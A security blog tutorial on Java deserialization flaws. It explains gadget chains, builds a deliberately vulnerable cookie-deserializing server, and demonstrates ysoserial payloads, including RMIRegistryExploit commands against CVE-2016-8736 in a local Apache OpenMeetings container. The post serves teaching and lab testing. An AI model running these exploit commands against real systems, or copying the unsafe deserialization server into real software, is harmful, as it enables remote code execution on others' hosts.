ysoserial logo

In this post I’ll cover Java Deserialiazation vulnerabilities. Starting with a brief explanation of how serialization and deserialization works in Java and then I’ll walk through how an insecure implementation can be exploited.

I’ll also present some real world examples of these vulnerabilities and show how to use the ysoserial tool to utilize existing gadget chains to craft an exploit and achieve RCE on a vulnerable version of Apache OpenMeetings, an open source virtual conferencing tool.

Java Serialization Basics

In Java an object is a specific instance of a class which lives in memory. The process of serialization is essentially taking an object and converting it into a piece of data which can be stored in a database or transferred over a network. The inverse of this process would be deserialization which allows that piece of serialized data to be re-instantiated into an object.

In Java this is done by converting the object into a byte stream. For serialization and deserialization to occur in Java the Serializable interface must be implemented in the class.

I’ll demonstrate the serialization and deserialization with a simple example creating a serialized instance of a employee object, writing that to disk and then deserializing that object.

Serialization Example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.IOException;
public class EmployeeSerializer
{
public static void main(String args[])
{
Employee obj = new Employee(25, "Doe", "John");
FileOutputStream fos = new FileOutputStream("Employee.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(obj);
oos.close();
fos.close();
}
}
Deserialization Example:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.IOException;
public class EmployeeDeserializer {

public static void main(String args[])
{
Employee e=null;
FileInputStream fis = new FileInputStream("Employee.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
e = (Employee)ois.readObject();
ois.close();
fis.close();
return;

}
System.out.println("Employee Last Name:" + e.getEmpName());
System.out.println("Employee ID:" + e.getEmpID());
}

How can deserialization be exploited?

  1. Through Parameters:

Let’s use the previous example of the employee object; imagine an application that accepts a serialized Java object as user input, this is commonly done through HTTP cookies, tokens or HTML form parameters.

Imagine if this employee object also had a boolean instance variable isAdmin and this app was using cookie based authentication which uses a serialized employee object as the cookie. By simply creating our own serialized employee object and altering this value we could then bypass the application logic by submitting the emplyoee object with isAdmin set to true.

  1. Through parent classes AKA ‘gadgets’:

The inherent vulnerability within Java that allows for Deserialization vulnerabilities exists in the readObject() method of the ObjectInputStream class. This method allows any type of object to be constructed and only performs type-checking after the deserialization process is already completed. By deserializing arbitrary objects you open the door to any code that exists within the applications class path, and with modern applications being built on frameworks that have an ever growing number of dependencies this is a huge door to leave open.

Much of the current research into Java deserialization vulnerabilities was a product of this presentation at AppSecCali2015 by Lawrence and Frohoff:

As part of this demonstration they coined the term Gadget Chain which refers to leveraging commonly used libraries within an applications class path to invoke code execution during the deserialization process.

So how can this be leveraged into remote code execution?

By simply having these dangerous methods somewhere within the Java class path it can be possible to create an object that chains multiple method invokations from different classes to eventually trigger a call which allows for code execution such as Runtime.exec()

This is all possible because when a serialized object is controlled by an attacker they also control the member field’s values of that object.

The anatomy of a Gadget Chain: Apache CommonsCollections

Apache CommonCollections is an open source library which adds interfaces for collection handling, and it’s very commonly found as a dependency for Java applications, making it one of the biggest exploit vectors for Java Deserialization vulnerabilities which have surfaced in past years.

Here’s a simplified stacktrace for how a well known gadget chain from the Apache CommonCollections1 Library can be utilized for RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

“The InvokerTransformer’s goal is to transform objects in a collection by invoking a method using reflection. Attackers abuse this functionality and manage to invoke any method they want. The deserialization proof of concept exploit tool ysoserial abuses the InvokerTransformer and instead of transforming a collection object, it invokes the Runtime.exec() that executes arbitrary commands on the target system.”

So to recap there are 2 conditions that need to be met for an application to be vulnerable to such attacks:

1. The deserialization of untrusted (user) input
2. The existence of a vulnerable library (gadget chain) in the app’s class path

  • While this might seem like an unlikely scenario, the libraries which were discovered to contain these gadgets are very common in web applications.

Utilizing gadget chains

The process of creatively chaining existing methods and classes is obviously not a trivial task, and if you’re testing from a blackbox perspective it can be impossible to know which of these vulnerable libraries exists in the application path.

Fortunately there’s several open source tools published to automate the process of payload generation. The most popular of these tools is ysoserial

“ysoserial is a collection of utilities and property-oriented programming “gadget chains” discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.”

Essentially what this tool does is create a serialized Java object based on one of the 35 available gadget chains. Upon deserialization of this object the commands you specify will be executed by the application.

The tool takes the payload and the command to be executed:

Usage: java -jar ysoserial.jar [payload] '[command]'

Example vulnerable web application

To demonstrate how an insecure deserialization vulnerability can be exploited to achieve remote code execution, I’ll build a simple web server with Java that accepts user input in the form of a base64 encoded serialized Java object.

As previously mentioned it’s not uncommon to see a web application store serialized Java objects in an HTTP cookie, so we’ll use that as the input vector for this demonstration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class DeserializationServer {
public static void main(String[] args) throws IOException {
HttpServer s = HttpServer.create(new InetSocketAddress(8000), 0);
s.createContext("/", new HTTPHandler());
s.setExecutor(null);
s.start();
}
static class HTTPHandler implements HttpHandler {
public void handle(HttpExchange t) throws IOException {
if(t.getRequestHeaders().containsKey("Cookie")){
String cookieValue = t.getRequestHeaders().get("Cookie").get(0);
deserialize(cookieValue);
}
}
public String deserialize(String cookieValue){
ObjectInputStream ois = null;
InputStream is = null;
try {
byte[] decodedCookie = new BASE64Decoder().decodeBuffer(cookieValue);
is = new ByteArrayInputStream(decodedCookie);
}catch (Exception e){
return e.toString();
}
try {
ois = new ObjectInputStream(is);
}
catch (Exception e){
return e.toString();
}
try{
ois.readObject(); // Deserialization
}
catch (Exception e){
e.printStackTrace();
}
return "Cookie has been deserialized";
}
}
}

Now we have an application which deserializes untrusted user input in the form of an HTTP parameter, but for this app to be exploitable there also needs to be a library that contains a gadget chain in the class path.

We can add a Java library within our applications class path that’s known to be vulnerable, it’s one of the libraries that contains a common gadget chain available from the ysoserial tool: commons-collections-3.1

Crafting a payload with ysoserial

To test the vulnerable web server we’ll create a ysoserial payload which will execute the command touch /tmp/pwned to see if we can write a file to the system.

Because Java objects are in byte format the web server accepts the Cookie value as a base64 encoded string and decodes it before deserializing the object. To encode our payload we can pipe the output of the ysoserial payload to base64:

java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" | base64

The output:

ysoserial outout

If you’re interested in seeing the source code used for generating the serialized payload it can be found here

Now we’ll use the output from ysoserial as the value for our Cookie by intercepting the HTTP request using Burp Suite:

burp request

When we list the contents of the /tmp directory we can see the file was successfully created, meaning our exploit worked and we can execute arbitrary code on the host:
burp request

Java Deserialization over the RMI protocol

So far we’ve discussed how insecure deserialization can be exploited over the HTTP protocol, but there are a few other common protocols used in Java applications to transfer serialized objects.

One of these protocols is RMI (Remote Method Invokation). Essentially this protocol allows for a JVM (Java Virtual Machine) to invoke methods of objects which exist in another (remote) JVM.

RMI essentially uses serialized objects within it’s default communication protocol, making it a prime target for deserialization exploits. Naturally, many of the early Java deserialization vulnerabilities involved applications which communicated through RMI.

In 2015 when Java Deserialization vulnerabilities we’re first brought to public attention there were multiple pieces of open source and enterprise software with these vulnerabilities lying dormant within them. A firm by the name of FoxGlove Security were the first to discover many of these and they wrote an excellent technical analysis of how they discovered and exploited these vulnerabilities: What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability.

Exploiting the Java RMI service in Apache OpenMeetings

For a demonstration I wanted to find another CVE related to an RMI deserialization vulnerability, one that’s less documented than the ones mentioned in FoxGlove’s post.

The target we’ll use is CVE-2016-8736 on Apache OpenMeetings <3.1.2. There’s a docker image for v3.1.1 available: metal3d/openmeetings:3.1.1

We can use nmap to check if there’s any open ports running Java RMI:

nmap output
The scan shows both ports 9998 and 9999 running Java RMI.

Luckily ysoserial also comes bundled with a module specifically for exploiting RMI based applications:
ysoserial/src/main/java/ysoserial/exploit/RMIRegistryExploit.java

  • Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.

The requirements are similar to the standard Java Deserialization vulnerabilities, a vulnerable library must be present in the class path and we can provide a command to be executed.

The difference is this module accepts a host and port parameter and will actually send the serialized Java object to the target.

So we have an endpoint that accepts serialized Java objects, we now need to confirm there’s a gadget chain correlating to the dependencies of the OpenMeetings app.

I’ll jump into the CLI for the container and run some grep queries to see if we find any of the dependencies that are compatible with ysoserial.

For example to search for Apache CommonsCollections we’ll run: grep -inIEr "commons.collections*" /opt/webapps/openmeetings

grep output
Unsurprisingly, there’s multiple versions of Apache CommonsCollections listed as dependencies for the OpenMeetings app. There’s also a vulnerable version of the Groovy library loaded by the app as well: groovy:2.3.9

Let’s test the following payloads:

  1. java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit localhost 9999 CommonsCollections5 "touch /tmp/CC5"
  2. java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit localhost 9999 Groovy1 "touch /tmp/G1"
rce output
As expected both payloads were successful in executing remote code on the target server

Welcome to Dependency Hell

Given that Apache OpenMeetings is open source software, let’s dig a bit deeper and see what the root cause of this CVE is, why does this app use the Java RMI protocol in the first place?

Based on the nmap scan we ran earlier, we know that the java-rmi protocol is running on ports 9999 and 9998. So let’s grep for these strings within the OpenMeetings container to see if we can find what/where they’re being configured for:

This regex query will search all files for a string that contains “port“ and “9999“:
grep -inIEr "(port).*?(9999).*?"

red5 grep
We can see the following 2 files in the output of this search: conf/red5.properties red5-shutdown.sh

A quick Google search returns the following info regarding red5:

“Red5 is a free software media streaming server implemented in Java, which provides services similar to those offered by the proprietary Adobe Flash Media Server”

Based on this we can conclude that the actual deserialization aspect of this application is not related to any unsafe code written by the developers of Apache OpenMeetings but rather introduced by another piece of software that’s being integrated within the application. In addition to that, we we’re only able to achieve RCE by leveraging gadget chains from other dependencies.

Unfortunately, this is the reality of modern applications, there’s often many 3rd party libraries packaged within a bundle, and these dependencies can leave gaping security holes in your application.

It’s becoming more apparent that we need to audit what code we’re including in our applications, especially code written by 3rd parties.